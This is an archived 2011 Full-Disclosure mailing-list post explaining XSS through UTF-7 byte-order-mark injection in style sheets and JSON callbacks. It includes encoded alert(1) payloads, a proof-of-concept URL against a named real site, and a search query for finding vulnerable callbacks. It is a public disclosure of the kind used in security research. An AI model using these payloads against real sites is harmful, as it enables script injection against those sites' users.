full-disclosure - xss attacks through utf7-BOM string injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 9 Feb 2011 03:01:41 -0800
From: IEhrepus <5up3rh3i@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: xss attacks through utf7-BOM string injection

xss attacks through utf7-BOM string injection

the beginning of the utf-7 BOM chascter is from Gareth Heyes's paper 《XSS
Lightsabre techniques》

---------------------start----------------------------------
CSS expressions with UTF-7
• UTF-7 BOM character can force UTF-7 in a external style sheet
• Would you let me upload a style sheet?
• @charset „UTF-7‟; works
• But you don‟t need it
• +/v8 is all you need
+/v8
body {
font-family:
'+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoAGEAbA
BlAHIAdAAoADEAKQApADsAZgBvAG4AdAAtAGYAYQBtAGkAbAB5ADoAJw-';
---------------------------end-----------------------------

this eg is for style sheet, and it work well on html file. like this demo:
http://www.80vul.com/test/utf7.htm. the file format is only base on  the
first four bytes and the Space. so If we can control the beginning of the
file bytes of html file, Then we can be injected any html/javascript code,
it can lead to xss attacks.

json-callback +  utf7-BOM string injection == lots of xss vul

online, lots of sites set the json file's Content-Type: text/html. and
"callback" function name at the first bytes  is a ariable. so it leadto xss
vuls using utf7-BOM string injection.

the demo:

http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20xsadas

and u can use GOOGLE Hacking to find where are the callbacks:

site:80vul.com inurl:callback

Happy New Year!

thanks Mario Heiderich for u tell me what is "+/v8" :)
thanks Gareth Heyes for u the nice paper.

--superhei from http://www.80vul.com

--ad--
About Ph4nt0m Webzine

Ph4nt0m Webzine is a free network Security Magazine,We accept articles in
English and Chinese, you are welcome contributions .
mailto:root_at_ph4nt0m.org pls.thank you!

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/